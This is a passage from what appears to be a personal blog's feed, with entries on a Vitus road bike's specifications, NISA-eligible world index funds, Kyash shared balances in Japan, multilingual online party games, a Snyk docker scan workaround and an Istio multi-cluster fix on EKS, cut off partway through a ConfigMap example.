   <content type="html">&lt;p&gt;I bought a &lt;a href=&quot;https://us.vitusbikes.com/products/zenium-road-bike-tiagra&quot;&gt;Vitus Zenium Road Bike&lt;/a&gt; (&lt;a href=&quot;https://web.archive.org/web/20230102065151/https://us.vitusbikes.com/products/zenium-road-bike-tiagra&quot;&gt;archive.org&lt;/a&gt;) in 2020 from &lt;a href=&quot;https://www.chainreactioncycles.com/vitus-zenium-road-bike-tiagra-2020/rp-prod183561&quot;&gt;Chain Reaction Cycles&lt;/a&gt; and as the years go by I keep going back to the product page to check the various details of the bike.
Considering that the company releases a new version of the bike every year, I’m afraid that at some point the product page will be taken down, so I decided to copy all the information over here.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;

&lt;p&gt;INTRODUCING THE AWARD-WINNING VITUS ZENIUM CARBON BIKE – READY TO TACKLE ANYTHING YOU THROW AT IT.&lt;/p&gt;

&lt;p&gt;Local criteriums, speedy sportives, weekend club runs or your go-to winter training bike, the Zenium has you covered. Redeveloped to be a carbon frameset in 2019, we’ve now expanded the Zenium range for 2020.&lt;/p&gt;

&lt;p&gt;The Zenium is designed to offer the perfect blend of comfort and performance for a great all-round riding experience. The compact geometry and slender dropped seat stays increase vertical compliance for a comfortable, balanced ride. The T700 HM-UD, disc brake specific, full carbon fork features a tapered carbon steerer for steering precision and inspiring handling, balancing confidence and control.&lt;/p&gt;

&lt;p&gt;We’ve also allowed for more tire clearance, ensuring you can fit up to 32mm tires to tailor your ride. The frame is a fine balance of classic tube shapes and modern features, put together in a package that keeps weight to a minimum&lt;/p&gt;

&lt;p&gt;Make no mistake, the Zenium wants to go fast! However, the subtle nods to all-day comfort ensure that if you are looking for a carbon road all-rounder, then the Zenium is for you.&lt;/p&gt;

&lt;p&gt;The Vitus Zenium uses the reliable Shimano Tiagra 10 speed groupset, paired with TRP’s Spyre disc brakes and 160mm rotors.&lt;/p&gt;

&lt;p&gt;Rolling on our Vitus clinchers, featuring 21mm internal rim widths, and a new, lighter set of hubs for 2020. These are paired with the super cool Vee Road Runner tan sidewall 28mm tires. The new Vitus Switch axles give you the option to leave the lever handle firmly secured in either wheel, or remove it for extra weight saving and aero gains. The cockpit is built with Vitus’ own 6061 Aluminium aero bar and stem, combined with a Vitus 27.2mm aluminium layback seatpost and our own tried and tested Vitus road saddle.&lt;/p&gt;

&lt;h2 id=&quot;specifications&quot;&gt;Specifications&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Frame: Zenium UD Carbon T700 Internal cable routing, Flat Mount braking, PF30 BB Shell, 142 x 12&lt;/li&gt;
  &lt;li&gt;Fork: UD Carbon, Full Carbon tapered steerer, 100 x 12mm&lt;/li&gt;
  &lt;li&gt;Headset: Acros AiX-Low R3 Tapered 1 1/8”- 1 1/4”, upper bearing 41.8 / 28.6, lower bearing 47 / 33&lt;/li&gt;
  &lt;li&gt;Bottom Bracket: Prestine PF30 BB to fit 24mm axle&lt;/li&gt;
  &lt;li&gt;Handlebar: Vitus Aero AL6061, 128mm drop x 77mm reach&lt;/li&gt;
  &lt;li&gt;Stem: Vitus AL6061 3D Forged, bar bore 31.8mm, +/- 7 degrees&lt;/li&gt;
  &lt;li&gt;Grips: Vitus EVA Cork&lt;/li&gt;
  &lt;li&gt;Front Derailleur: Shimano Tiagra R4700&lt;/li&gt;
  &lt;li&gt;Rear Derailleur: Shimano Tiagra R4700, 10-Speed, Direct Mount&lt;/li&gt;
  &lt;li&gt;Shifters: Shimano Tiagra R4700&lt;/li&gt;
  &lt;li&gt;Brakes: TRP Spyre C610C&lt;/li&gt;
  &lt;li&gt;Rotors: Front: 160mm; Rear: 160mm&lt;/li&gt;
  &lt;li&gt;Crankset: Shimano Tiagra R4700 50-34T, 10-Speed&lt;/li&gt;
  &lt;li&gt;Chain: KMC X11, 10-Speed QUICK LINK&lt;/li&gt;
  &lt;li&gt;Cassette: Sunrace CSRX0 11-32T, 10-Speed&lt;/li&gt;
  &lt;li&gt;Front Hub: Vitus KT TZ5F-12, 12 x 100mm, CentreLock&lt;/li&gt;
  &lt;li&gt;Rear Hub: Vitus KT CRR6L4, 12 x 142mm, CentreLock&lt;/li&gt;
  &lt;li&gt;Rims: Vitus&lt;/li&gt;
  &lt;li&gt;Tyres: Vee Road Runner 700c x 28c, B-Proof Aramid Belt, Skinwall&lt;/li&gt;
  &lt;li&gt;Saddle: Vitus&lt;/li&gt;
  &lt;li&gt;Seat Post: Vitus AL6061, 27.2mm x 350mm, 12mm offset&lt;/li&gt;
  &lt;li&gt;Seatclamp: Vitus&lt;/li&gt;
  &lt;li&gt;Axles: Vitus 12mm Thru-Axles&lt;/li&gt;
  &lt;li&gt;Weight: 9.6kg (medium)&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>All-World ETFs for NISA</title>
   <link href="https://szabo.jp/2022/12/27/all-world-etfs-for-nisa/"/>
   <updated>2022-12-27T00:00:00+00:00</updated>
   <id>https://szabo.jp/2022/12/27/all-world-etfs-for-nisa</id>
   <content type="html">&lt;p&gt;My go-to investment is the &lt;a href=&quot;https://investor.vanguard.com/investment-products/etfs/profile/vt&quot;&gt;Vanguard Total World Stock ETF (VT)&lt;/a&gt; that includes stocks in close to all companies of the world, so as long as the world economy does well, it goes up. Being a US-based security the dividends are subject to a 10% tax withholding in the US (regardless of me not having to file US taxes). This is not an issue for regular investments, as Japan levies a 20% tax on dividends and due to the tax treaty with the US I can deduct the already paid 10% and only pay the other 10% in Japan (I’m using Interactive Brokers, so I’m doing this myself when filing my taxes).&lt;/p&gt;

&lt;p&gt;However I also started doing NISA recently, which is tax-exempt, so I don’t need to pay taxes in Japan on neither the capital gains nor the dividends. But this does not affect the 10% dividend tax levied in the US. So I set out to find a comparable investment that is domiciled outside the US.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Some international sites recommend &lt;a href=&quot;https://www.drwealth.com/best-irish-domiciled-world-etfs/&quot;&gt;Irish domiciled world ETFs&lt;/a&gt; as an alternative, like the &lt;a href=&quot;https://www.vanguardmexico.com/en/products/financial-products/equity-etf/VWRA&quot;&gt;Vanguard FTSE All-World UCITS ETF (VWRA)&lt;/a&gt;, however this has an expense ratio of 0.22% which is quite high compared to VT’s 0.07%.&lt;/p&gt;

&lt;p&gt;Another alternative I looked at was Japanese domiciled securities, since there I could potentially also save the conversion fee. &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E5%85%A8%E4%B8%96%E7%95%8C%E6%A0%AA%E5%BC%8F%E3%82%A4%E3%83%B3%E3%83%87%E3%83%83%E3%82%AF%E3%82%B9&quot;&gt;Japanese Wikipedia has a list&lt;/a&gt; and &lt;a href=&quot;https://retirewiki.jp/wiki/Japanese_global_index_funds&quot;&gt;retirewiki.jp&lt;/a&gt; also has the cheaper options, and &lt;a href=&quot;https://retirewiki.jp/wiki/Japanese_global_index_funds#The_triple_taxation_problem&quot;&gt;an eye-opening explanation on the triple taxation problem&lt;/a&gt;. This helped me narrow down my search to two options: &lt;a href=&quot;https://emaxis.jp/fund/253425.html&quot;&gt;eMaxis Slim All Country (ｅＭＡＸＩＳ Ｓｌｉｍ 全世界株式（オール・カントリー）)&lt;/a&gt; (fee: 0.1144％) and &lt;a href=&quot;https://www.am.mufg.jp/fund/182559.html&quot;&gt;MAXIS All Country ETF (ＭＡＸＩＳ全世界株式（オール・カントリー）上場投信)&lt;/a&gt; (fee: 0.0858％). Both of these are relatively young (eMAXIS one started in 2017 and the MAXIS one started in 2020, compared to VT’s 2008 start), but both of these are offered by MUFG, one of the major banks of Japan, which makes it pretty reliable in my opinion.&lt;/p&gt;

&lt;p&gt;The difference between the two is &lt;a href=&quot;https://www.rakuten-sec.co.jp/web/special/emaxis_maxis/&quot;&gt;described by Rakuten&lt;/a&gt;: eMAXIS Slim is a mutual fund (投資信託) and MAXIS is an ETF (上場投信). They are similar (as they are investing in the same underlying assets), but there are a few differences:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;the mutual fund is traded once a day, while the ETF is traded during the stock market opening hours, like regular stocks. You can place limit orders for ETFs (e.g. buy 10 units if the price goes below 10,000 yen)&lt;/li&gt;
  &lt;li&gt;the holding fees are a bit higher for the mutual fund: 0.0858％ vs 0.1144％, but the difference is minimal: 0.0286% which is 343 yen for 1,200,000 yen (purchase fee is zero for both - at Rakuten and SBI)&lt;/li&gt;
  &lt;li&gt;you can invest any amount to the mutual fund, while from the ETF one needs to buy full units.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For me the last one matters: in NISA one can invest up to 1,200,000 yen a year, so I want to invest 100,000 yen each month. However with ETFs it’s never exactly 100,000 yen and at the end of the year I need to check and purchase more to get close to the limit, so I decided to go with the mutual fund eMaxis Slim. Moreover SBI now has a campaign, &lt;a href=&quot;https://site1.sbisec.co.jp/ETGate/WPLETmgR001Control?OutSide=on&amp;amp;getFlg=on&amp;amp;burl=search_home&amp;amp;cat1=home&amp;amp;cat2=service&amp;amp;dir=service&amp;amp;file=home_point_01.html&quot;&gt;投信マイレージサービス&lt;/a&gt; where they give 0.042% of the investment value as points each year, effectively lowering the holding fee to 0.0724% bringing it inline with Vanguard’s  VT.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Shared bank account for non-married couples in Japan</title>
   <link href="https://szabo.jp/2022/05/07/shared-account/"/>
   <updated>2022-05-07T00:00:00+00:00</updated>
   <id>https://szabo.jp/2022/05/07/shared-account</id>
   <content type="html">&lt;p&gt;The &lt;a href=&quot;http://www.accessj.com/2011/12/banking-in-japan-2-opening-account.html#:~:text=or%20automatic%20payments.-,Joint%20Accounts%3F,-According%20to%20Japanese&quot;&gt;internet&lt;/a&gt; &lt;a href=&quot;https://www.reddit.com/r/japanlife/comments/piq0yx/joint_bank_accounts/&quot;&gt;wisdom&lt;/a&gt; &lt;a href=&quot;https://www.expatfocus.com/japan/financial/how-to-open-a-bank-account-in-japan-6376#:~:text=Joint%20bank%20accounts%20are%20illegal%20in%20Japan&quot;&gt;seems&lt;/a&gt; to agree that shared accounts (or joint accounts) are illegal and impossible in Japan.
As a workaround some banks will issue a second card in the name of the spouse (e.g. &lt;a href=&quot;https://www.smbc-card.com/nyukai/add/family/index.jsp&quot;&gt;SMBC&lt;/a&gt;), however that’s generally only available for married couples.&lt;/p&gt;

&lt;p&gt;So if you live with a partner, but not married, you are out of luck?
Not entirely.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The solution is a pre-paid debit card called &lt;a href=&quot;https://kyash.me/invitations/ur8fp3p0&quot;&gt;Kyash&lt;/a&gt; (affiliate link).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2022-05-07-shared-account/kyash-cards.jpg&quot; alt=&quot;The sleek, modern Kyash cards&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://kyash.me/invitations/ur8fp3p0&quot;&gt;Kyash&lt;/a&gt; is a pre-paid VISA debit card that comes with a mobile app.
You can &lt;a href=&quot;https://www.kyash.co/features/charge&quot;&gt;top it up&lt;/a&gt; multiple ways, including linking a bank account, at an ATM or from a debit card.
Then you can spend the money with the very stylish card.&lt;/p&gt;

&lt;p&gt;Kyash also allows &lt;a href=&quot;https://www.kyash.co/services/share-account&quot;&gt;shared balances&lt;/a&gt;, that multiple Kyash users can add money to and withdraw money from.
Moreover members added to the shared balance can assign their card to that balance (instead of their main account), so any payment maid with the card will be taken from the shared account.
These payments send push notification to every member of the shared balance, and the account history also shows whose card made a given payment.
Moreover any member can easily (and for free) move money between the shared account and their own account (which again sends a push notification to all members).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2022-05-07-shared-account/shared-account.png&quot; alt=&quot;Shared account view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This for all intents and purposes can act as a shared account to cover shared expenses.&lt;/p&gt;

&lt;p&gt;Here is how we use it with my partner to cover shared expenses (e.g. groceries):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;At the beginning of each month we both put an agreed amount of money into the shared balance (we both have our main bank account linked to Kyash)&lt;/li&gt;
  &lt;li&gt;We both added our card to PayPay, so we can use it at places that don’t take card but take PayPay&lt;/li&gt;
  &lt;li&gt;For places that are cash-only, we take the money out from the shared balance into our individual balance (which is used next month when topping up the shared account)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Things that don’t work:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Since this is not a real bank account, direct debit (often used to pay rent) is not possible. The way we get around this is that I’ve setup direct debit with my own bank account, and I put that much less into the shared account&lt;/li&gt;
  &lt;li&gt;Places that expect credit cards don’t always work (e.g. car rental, highway payment gates, gas stations). We either use cash or a personal credit card, and then take the money from the shared account for these.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bonus point: there is 1% cashback (up to a monthly limit), which is nice 🤑.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Online party games for a multi-lingual family</title>
   <link href="https://szabo.jp/2021/12/28/online-party-games-for-multi-lingual-family/"/>
   <updated>2021-12-28T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/12/28/online-party-games-for-multi-lingual-family</id>
   <content type="html">&lt;p&gt;My partner is Japanese, and speaks English, while my family is Hungarian and speak varying levels of English. This Christmas we had an online board game/party game session, and I got to pick the games.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;First idea  was one of the &lt;a href=&quot;https://www.jackboxgames.com/&quot;&gt;JackBox games&lt;/a&gt;, however these require a very high level of English and American pop-culture knowledge, so would probably not have been fun. &lt;a href=&quot;https://www.innersloth.com/games/among-us/&quot;&gt;Among Us&lt;/a&gt; was also an option, but I expected that my family would speak Hungarian while playing, so wanted something where my partner could also understand what’s going on (even without speaking Hungarian).&lt;/p&gt;

&lt;p&gt;These are the games that fit these criterias:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://logoquiz.net/&quot;&gt;https://logoquiz.net/&lt;/a&gt; - guess the brand based on the logo. Company logos are pretty universal, and the names are the same everywhere. The only problem was that it was too easy and also started to repeat after a short time.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://online.seterra.com/en/vgp/3288&quot;&gt;Map Quiz&lt;/a&gt; - this quiz is to find major cities of the world. A bit easy, but it looks nice. The same site has other map quizes that might be fun too&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.mapbox.com/map-quiz/&quot;&gt;Country Quiz&lt;/a&gt; - we spent a lot of time with this one. It’s guessing the country based on the map, but the site looks really nice and gives some extra info on each country. Also if you get a few right, then it gets harder and rotates the map&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.beano.com/posts/can-you-guess-the-film-from-the-picture-still&quot;&gt;Movie Quiz&lt;/a&gt; - guess the film from a picture. It was fun, sometimes easy, sometimes hard, and a bit short&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall we had around an hour of fun.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>snyk test docker --fail-on= workaround</title>
   <link href="https://szabo.jp/2021/10/07/snyk-docker-fail-on-workaround/"/>
   <updated>2021-10-07T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/10/07/snyk-docker-fail-on-workaround</id>
   <content type="html">&lt;p&gt;I’m running Snyk to scan docker images and break the build if they have high or critical vulnerabilities:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snyk &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--severity-threshold&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;high &lt;span class=&quot;nt&quot;&gt;--docker&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$IMAGE_NAME&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However sometimes the upstream image has high or critical vulnerabilities (e.g. at the times of writing this, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;debian&lt;/code&gt;), so there is very little action one can take (other than moving to a different base image, which is usually not easy). Thus I only want to break the build if there are high or critical vulnerabilities AND they can be fixed by ugrading the base image.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snyk&lt;/code&gt; CLI &lt;a href=&quot;https://docs.snyk.io/features/snyk-cli/guides-for-our-cli/cli-reference#:~:text=upgradable&quot;&gt;has&lt;/a&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--fail-on=all|upgradable|patchable&lt;/code&gt; option that says&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Only fail when there are vulnerabilities that can be fixed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;which would be perfect, but it’s broken for docker scans. Thus I had to come up with a workaround:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snyk &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--severity-threshold&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;high &lt;span class=&quot;nt&quot;&gt;--docker&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$IMAGE_NAME&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--json-file-output&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/tmp/out.json &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/out.json | jq &lt;span class=&quot;s1&quot;&gt;&apos;.docker.baseImageRemediation.code&apos;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-q&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;NO_REMEDIATION_AVAILABLE&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then return &lt;/span&gt;0&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else return &lt;/span&gt;1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This scans the image, saves the output to json. If the scan failed, then parses the json to look for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.docker.baseImageRemediation.code&lt;/code&gt; that will tell whether &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NO_REMEDIATION_AVAILABLE&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REMEDIATION_AVAILABLE&lt;/code&gt;. And only fail the build if there is remediation available.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Multi-cluster multi-primary istio on AWS EKS</title>
   <link href="https://szabo.jp/2021/09/22/multicluster-istio-on-eks/"/>
   <updated>2021-09-22T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/09/22/multicluster-istio-on-eks</id>
   <content type="html">&lt;p&gt;Recently I was working on setting up istio in a multi-cluster setup following the &lt;a href=&quot;https://istio.io/latest/docs/setup/install/multicluster/multi-primary_multi-network/&quot;&gt;Install Multi-Primary on different networks&lt;/a&gt; guide on EKS clusters. Everything seemed to work (no errors in logs), until I reached the &lt;a href=&quot;https://istio.io/latest/docs/setup/install/multicluster/verify/&quot;&gt;verification step&lt;/a&gt;, where requests didn’t go to the other mesh: in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CLUSTER1&lt;/code&gt; I always got a response from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello version: v1, instance: helloworld-v1-86f77cd7bd-cpxhv&lt;/code&gt;, while in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CLUSTER2&lt;/code&gt; always from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello version: v2, instance: helloworld-v2-758dd55874-6x4t8&lt;/code&gt;.&lt;/p&gt;

&lt;!--break--&gt;

&lt;blockquote&gt;
  &lt;p&gt;I also implemented this workaround as a shell script running in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CronJob&lt;/code&gt;, check it out &lt;a href=&quot;https://github.com/markszabo/istio-crosscluster-workaround-for-eks&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This turns out to be &lt;a href=&quot;https://github.com/istio/istio/issues/29359&quot;&gt;a known problem with EKS&lt;/a&gt; and &lt;a href=&quot;https://github.com/istio/istio/issues/29359#issuecomment-738234802&quot;&gt;comes down to the fact that EKS loadbalancers use hostnames instead of IP addresses&lt;/a&gt;, which are not supported by istio.&lt;/p&gt;

&lt;p&gt;Workaround: manually resolve the IP and add it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;istio&lt;/code&gt; ConfigMap (namespace: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;istio-system&lt;/code&gt;).&lt;/p&gt;

&lt;h3 id=&quot;1-figure-out-the-eastwestgateways-hostname&quot;&gt;1. Figure out the eastwestgateway’s hostname&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜  kubectl get service &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; istio-system &lt;span class=&quot;nt&quot;&gt;--context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CLUSTER1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; istio-eastwestgateway &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;at the bottom look for the status section like:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;loadBalancer&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ingress&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;a5e21e07fd1a64a518ab6c02b4dfb9f5-826145575.us-west-2.elb.amazonaws.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Also take a note of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;topology.istio.io/network&lt;/code&gt; label, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;network1&lt;/code&gt;. We will use it when configuring the ConfigMap in the other cluster.&lt;/p&gt;

&lt;h3 id=&quot;2-figure-out-the-corresponding-ip-address&quot;&gt;2. Figure out the corresponding IP address&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜  dig +short a5e21e07fd1a64a518ab6c02b4dfb9f5-826145575.us-west-2.elb.amazonaws.com
1.2.3.4
1.2.3.5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;3-update-the-istio-configmap-in-the-other-cluster&quot;&gt;3. Update the istio ConfigMap in the other cluster&lt;/h3&gt;

&lt;p&gt;First get the existing ConfigMap:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜  kubectl get configmaps &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; istio-system istio &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; yaml &lt;span class=&quot;nt&quot;&gt;--context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CLUSTER2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; istio_configmap_cluster2.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data.meshNetworks&lt;/code&gt;, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;mesh&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|-&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;defaultConfig:&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;discoveryAddress: istiod.istio-system.svc:15012&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;meshId: mesh&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;proxyMetadata: {}&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;tracing:&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;zipkin:&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;address: zipkin.istio-system:9411&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;enablePrometheusMerge: true&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;rootNamespace: istio-system&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;trustDomain: cluster.local&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;meshNetworks&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;networks:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{}&apos;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ConfigMap&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Extend &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data.meshNetworks&lt;/code&gt; with the information from the previos steps:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;mesh&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|-&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;defaultConfig:&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;discoveryAddress: istiod.istio-system.svc:15012&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;meshId: mesh&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;proxyMetadata: {}&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;tracing:&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;zipkin:&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;address: zipkin.istio-system:9411&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;enablePrometheusMerge: true&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;rootNamespace: istio-system&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;trustDomain: cluster.local&lt;/span&gt;
